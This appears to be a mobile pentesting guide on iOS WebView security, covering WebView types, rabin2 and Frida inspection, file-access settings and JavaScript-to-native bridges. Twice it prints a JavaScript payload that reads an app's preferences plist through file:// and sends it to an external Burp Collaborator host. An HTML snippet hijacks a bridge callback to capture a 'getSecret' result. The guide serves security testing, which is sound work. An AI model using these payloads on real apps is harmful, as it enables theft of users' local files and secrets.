iOS WebViews

WebViews types

WebViews are in-app browser components for displaying interactive web content. They can be used to embed web content directly into an app's user interface. iOS WebViews support JavaScript execution by default, so script injection and Cross-Site Scripting attacks can affect them.

  • ****UIWebView: UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. JavaScript cannot be disabled.

  • ****WKWebView: This is the appropriate choice for extending app functionality, controlling displayed content.

    • JavaScript is enabled by default but thanks to the javaScriptEnabled property of WKWebView, it can be completely disabled, preventing all script injection flaws.

    • The JavaScriptCanOpenWindowsAutomatically can be used to prevent JavaScript from opening new windows, such as pop-ups.

    • The hasOnlySecureContent property can be used to verify resources loaded by the WebView are retrieved through encrypted connections.

    • WKWebView implements out-of-process rendering, so memory corruption bugs won't affect the main app process.

  • ****SFSafariViewController: It **should be used to provide a generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements:

    • A read-only address field with a security indicator.

    • An Action ("Share") button.

    • A Done button, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari.

    • JavaScript cannot be disabled in SFSafariViewController and this is one of the reasons why the usage of WKWebView is recommended when the goal is extending the app's user interface.

    • SFSafariViewController also shares cookies and other website data with Safari.

    • The user's activity and interaction with a SFSafariViewController are not visible to the app, which cannot access AutoFill data, browsing history, or website data.

    • According to the App Store Review Guidelines, SFSafariViewControllers may not be hidden or obscured by other views or layers.

Discovering WebViews Configuration

Static Analysis

UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView

WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView

Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView (init(frame:configuration:)):

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO

Testing JavaScript Configuration

For WKWebViews, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of WKPreferences and ensure that the javaScriptEnabled property is set to false:

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false

If only having the compiled binary you can search for this in it:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled

Testing OnlySecureContent

In contrast to UIWebViews, when using WKWebViews it is possible to detect mixed content (HTTP content loaded from a HTTPS page). By using the method hasOnlySecureContent it can be verified whether all resources on the page have been loaded through securely encrypted connections. In the compiled binary:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the MDN Web Docs.

Dynamic Analysis

It's possible to inspect the heap via ObjC.choose() to find instances of the different types of WebViews and also search for the properties javaScriptEnabled and hasonlysecurecontent:

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
  onMatch: function (ui) {
    console.log('onMatch: ', ui);
    console.log('URL: ', ui.request().toString());
  },
  onComplete: function () {
    console.log('done for UIWebView!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
  onMatch: function (sf) {
    console.log('onMatch: ', sf);
  },
  onComplete: function () {
    console.log('done for SFSafariViewController!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
  }
});

Load it with:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false

WebView Protocol Handling

Several default schemes are available that are being interpreted in a WebView on iOS, for example:

  • http(s)://

  • file://

  • tel://

WebViews can load remote content from an endpoint, but they can also load local content from the app data directory. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.

WebView content load

If you have the source code you can search for those methods. Having the compiled binary you can also search for these methods:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

File Access

  • UIWebView:

    • The file:// scheme is always enabled.

    • File access from file:// URLs is always enabled.

    • Universal access from file:// URLs is always enabled.

    • If you retrieve the effective origin from a UIWebView where baseURL is also set to nil you will see that it is not set to "null", instead you'll obtain something similar to the following: applewebdata://5361016c-f4a0-4305-816b-65411fc1d780. This origin "applewebdata://" is similar to the "file://" origin as it does not implement Same-Origin Policy and allow access to local files and any web resources.

String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
  • WKWebView:

    • allowFileAccessFromFileURLs (WKPreferences, false by default): it enables JavaScript running in the context of a file:// scheme URL to access content from other file:// scheme URLs.

    • allowUniversalAccessFromFileURLs (WKWebViewConfiguration, false by default): it enables JavaScript running in the context of a file:// scheme URL to access content from any origin.

You can search for those functions in the source code of the application or in the compiled binary. Also, you can use the following frida script to find this information:

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
    console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    console.log('allowFileAccessFromFileURLs: ',
            wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    console.log('allowUniversalAccessFromFileURLs: ',
            wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
        Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0

Exfiltrate arbitrary files

//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Since iOS 7, Apple introduced APIs that allow communication between the JavaScript runtime in the WebView and the native Swift or Objective-C objects.

There are two fundamental ways of how native code and JavaScript can communicate:

  • JSContext: When an Objective-C or Swift block is assigned to an identifier in a JSContext, JavaScriptCore automatically wraps the block in a JavaScript function.

  • JSExport protocol: Properties, instance methods and class methods declared in a JSExport-inherited protocol are mapped to JavaScript objects that are available to all JavaScript code. Modifications of objects that are in the JavaScript environment are reflected in the native environment.

Note that only class members defined in the JSExport protocol are made accessible to JavaScript code. Look out for code that maps native objects to the JSContext associated with a WebView and analyze what functionality it exposes, for example no sensitive data should be accessible and exposed to WebViews. In Objective-C, the JSContext associated with a UIWebView is obtained as follows:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

JavaScript code in a WKWebView can still send messages back to the native app but in contrast to UIWebView, it is not possible to directly reference the JSContext of a WKWebView. Instead, communication is implemented using a messaging system and using the postMessage function, which automatically serializes JavaScript objects into native Objective-C or Swift objects. Message handlers are configured using the method add(_ scriptMessageHandler:name:).

Enabling JavascriptBridge

func enableJavaScriptBridge(_ enabled: Bool) {
    options_dict["javaScriptBridge"]?.value = enabled
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

    if enabled {
            let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
            userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    }
}

Sending Message

Adding a script message handler with name "name" (or "javaScriptBridge" in the example above) causes the JavaScript function window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage to be defined in all frames in all web views that use the user content controller. It can be then used from the HTML file like this:

function invokeNativeOperation() {
    value1 = document.getElementById("value1").value
    value2 = document.getElementById("value2").value
    window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Once the Native function es executed it usually will execute some JavaScript inside the web page (see evaluateJavascript below) you can be interested on overriding the function that is going to be executed to steal the result. For example, in the script below the function javascriptBridgeCallBack is going to be executed with 2 params (the called function and the result). If you control the HTML that is going to be loaded you can create an alert with the result like:

<html>
    <script>
        document.location = "javascriptbridge://getSecret"
        function javascriptBridgeCallBack(name, result) {
            alert(result);
        }
    </script>
</html>

Called Function

The called function resides in JavaScriptBridgeMessageHandler.swift:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

        let arg1 = Double(messageArray[1])!
        let arg2 = Double(messageArray[2])!
        result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)

Testing

In order to test send a postMessage inside an application you can:

Debugging iOS WebViews

(Tutorial from https://blog.vuplex.com/debugging-webviews)

In iOS webviews, messages passed to console.log() are not printed to the Xcode logs. It's still relatively easy to debug web content with Safari's developer tools, although there are a couple of limitations:

  • Debugging iOS webviews requires Safari, so your dev computer must be running macOS.

  • You can only debug webviews in applications loaded onto your device through Xcode. You can't debug webviews in apps installed through the App Store or Apple Configurator.

With those limitations in mind, here are the steps to remotely debug a webview in iOS:

  • First, enable the Safari Web Inspector on your iOS device by opening the iOS Settings app, navigating to Settings > Safari > Advanced, and toggling the Web Inspector option on.

  • Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to Safari > Preferences in the menu bar. In the preferences pane that appears, click on the Advanced tab and then enable the Show Develop menu option at the bottom. After you do that, you can close the preferences pane.

  • Connect your iOS device to your dev computer and launch your app.

  • In Safari on your dev computer, click on Develop in the menu bar and hover over the dropdown option that is your iOS device's name to show a list of webview instances running on your iOS device.

  • Click the dropdown option for the webview that you wish to debug. This will open a new Safari Web Inspector window for inspecting the webview.

References

Last updated